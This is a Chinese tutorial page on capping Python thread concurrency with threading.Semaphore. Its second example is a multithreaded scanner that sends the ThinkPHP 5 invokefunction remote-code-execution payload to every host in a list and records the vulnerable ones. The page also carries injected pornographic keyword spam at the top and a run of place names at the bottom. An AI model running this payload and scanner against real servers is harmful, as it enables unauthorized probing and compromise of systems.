最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

python多線程semaphore實現(xiàn)線程數(shù)控制的示例

 更新時間:2020年08月10日 14:43:58   作者:TuudOp  
這篇文章主要介紹了python多線程semaphore實現(xiàn)線程數(shù)控制的示例,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧

前面寫過一篇關(guān)于python多線程的實現(xiàn)的文章, 但是效果不是最佳的,寫法也不是很好。通過網(wǎng)上學(xué)習(xí),也了解到了semaphore這個東西。

百度給的解釋:Semaphore是一種在多線程環(huán)境下使用的設(shè)施,該設(shè)施負責(zé)協(xié)調(diào)各個線程,以保證它們能夠正確、合理的使用公共資源的設(shè)施,也是操作系統(tǒng)中用于控制進程同步互斥的量。

一個有趣的例子:假設(shè)停車場只有三個車位,一開始三個車位都是空的。這時如果同時來了五輛車,看門人允許其中三輛不受阻礙的進入,然后放下車攔,剩下的車則必須在入口等待,此后來的車也都不得不在入口處等待。這時,有一輛車離開停車場,看門人得知后,打開車攔,放入一輛,如果又離開兩輛,則又可以放入兩輛,如此往復(fù)。

簡而言之,也就是能夠控制多線程并發(fā)的數(shù)量。

簡單記錄一下如何通過semaphore實現(xiàn)線程數(shù)的控制。

簡單代碼:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #繼承threading類
 def __init__(self, i, sem): 
 super(test, self).__init__()   #繼承python的構(gòu)造方法,這為python2的寫法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #釋放線程數(shù),線程數(shù)加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #設(shè)置可同時執(zhí)行的最大線程數(shù)
 for i in range(50):
 sem.acquire()         #獲得線程,可用線程數(shù)減1
 t = test(i, sem)       #給執(zhí)行函數(shù)傳遞值
 t.start()           #執(zhí)行函數(shù)
sem = threading.Semaphore(5)    #設(shè)置可同時開啟的線程數(shù),這里為5個

每執(zhí)行一次函數(shù)的時候就獲得一個線程數(shù),sem.acquire();每次執(zhí)行完函數(shù),就會釋放一個線程數(shù),sem.release()。只要acquire()的線程數(shù)達到了最大數(shù)(這里為5),后面的線程就只能先等待前面獲得的線程執(zhí)行完函數(shù)過后釋放,后面的線程才能繼續(xù)執(zhí)行。

整個流程理解起來其實也很簡單。

之前寫過一次開10個線程的多線程腳本,但是方法不夠好,這次用這個方法改了一下,貼在這里(掃描tp5是否存在代碼執(zhí)行漏洞的掃描腳本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判斷是否存在這個漏洞的執(zhí)行函數(shù)
 def __init__(self, url, sem):
 super(check, self).__init__()   #繼承threading類的構(gòu)造方法,python3的寫法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5遠程代碼執(zhí)行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #執(zhí)行完函數(shù),釋放線程,線程數(shù)加1

class host(threading.Thread):     #遍歷文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #繼承threading類的構(gòu)造方法,python3的寫法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍歷一個就獲得一個線程,直到達到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #執(zhí)行check()的執(zhí)行函數(shù)

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大線程數(shù)為10個
 thread = host(sem)         #傳遞sem值
 thread.start()

到此這篇關(guān)于python多線程semaphore實現(xiàn)線程數(shù)控制的示例的文章就介紹到這了,更多相關(guān)python 線程數(shù)控制內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 基于python實現(xiàn)百度語音識別和圖靈對話

    基于python實現(xiàn)百度語音識別和圖靈對話

    這篇文章主要介紹了基于python實現(xiàn)百度語音識別和圖靈對話,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2020-11-11
  • 一文詳解如何使用JPype實現(xiàn)Java與Python的深度交互

    一文詳解如何使用JPype實現(xiàn)Java與Python的深度交互

    在軟件開發(fā)領(lǐng)域,Java與Python作為兩大主流編程語言,各自在不同場景中展現(xiàn)出獨特優(yōu)勢。Java以其穩(wěn)定性、跨平臺性和強大的企業(yè)級生態(tài)占據(jù)著后端開發(fā)的半壁江山,而Python則憑借簡潔的語法和豐富
    2025-08-08
  • 9種python web 程序的部署方式小結(jié)

    9種python web 程序的部署方式小結(jié)

    python有很多web 開發(fā)框架,代碼寫完了,部署上線是個大事,通常來說,web應(yīng)用一般是三層結(jié)構(gòu)web server ---->application -----> DB server
    2014-06-06
  • Python函數(shù)參數(shù)匹配模型通用規(guī)則keyword-only參數(shù)詳解

    Python函數(shù)參數(shù)匹配模型通用規(guī)則keyword-only參數(shù)詳解

    Python3對函數(shù)參數(shù)的排序規(guī)則更加通用化了,即Python3 keyword-only參數(shù),該參數(shù)即為必須只按照關(guān)鍵字傳遞而不會有一個位置參數(shù)來填充的參數(shù)。這篇文章主要介紹了Python函數(shù)參數(shù)匹配模型通用規(guī)則keyword-only參數(shù),需要的朋友可以參考下
    2019-06-06
  • PyCharm 2020.2下配置Anaconda環(huán)境的方法步驟

    PyCharm 2020.2下配置Anaconda環(huán)境的方法步驟

    這篇文章主要介紹了PyCharm 2020.2下配置Anaconda環(huán)境的方法步驟,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-09-09
  • Python實現(xiàn)對字典分別按鍵(key)和值(value)進行排序的方法分析

    Python實現(xiàn)對字典分別按鍵(key)和值(value)進行排序的方法分析

    這篇文章主要介紹了Python實現(xiàn)對字典分別按鍵(key)和值(value)進行排序的方法,結(jié)合實例形式分析了Python基于sorted函數(shù)及operator庫進行字典排序的相關(guān)操作技巧,需要的朋友可以參考下
    2018-12-12
  • python3中apply函數(shù)和lambda函數(shù)的使用詳解

    python3中apply函數(shù)和lambda函數(shù)的使用詳解

    本文主要介紹了python3中apply函數(shù)和lambda函數(shù)的使用詳解,文中通過示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2022-02-02
  • python操作mysql中文顯示亂碼的解決方法

    python操作mysql中文顯示亂碼的解決方法

    這篇文章主要介紹了python操作mysql中文顯示亂碼的解決方法,是Python數(shù)據(jù)庫程序設(shè)計中經(jīng)常會遇到的問題,非常具有實用價值,需要的朋友可以參考下
    2014-10-10
  • cython加速python代碼的方法實現(xiàn)

    cython加速python代碼的方法實現(xiàn)

    本文主要介紹了cython加速python代碼的方法實現(xiàn),特別是在涉及到數(shù)值計算密集型任務(wù)時,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2024-07-07
  • python操作數(shù)據(jù)庫之sqlite3打開數(shù)據(jù)庫、刪除、修改示例

    python操作數(shù)據(jù)庫之sqlite3打開數(shù)據(jù)庫、刪除、修改示例

    這篇文章主要介紹了python操作sqlite3打開數(shù)據(jù)庫、刪除、修改示例,需要的朋友可以參考下
    2014-03-03

最新評論

内乡县| 安化县| 南阳市| 迭部县| 山西省| 松江区| 齐河县| 沂源县| 英山县| 得荣县| 九龙县| 无极县| 松潘县| 河源市| 吉林省| 秭归县| 瑞安市| 喀什市| 浠水县| 长沙县| 栖霞市| 舟曲县| 渝北区| 神木县| 土默特右旗| 四子王旗| 盐源县| 迁西县| 闵行区| 桂林市| 榆中县| 吴桥县| 永吉县| 班戈县| 壶关县| 山西省| 讷河市| 通河县| 墨脱县| 白水县| 老河口市|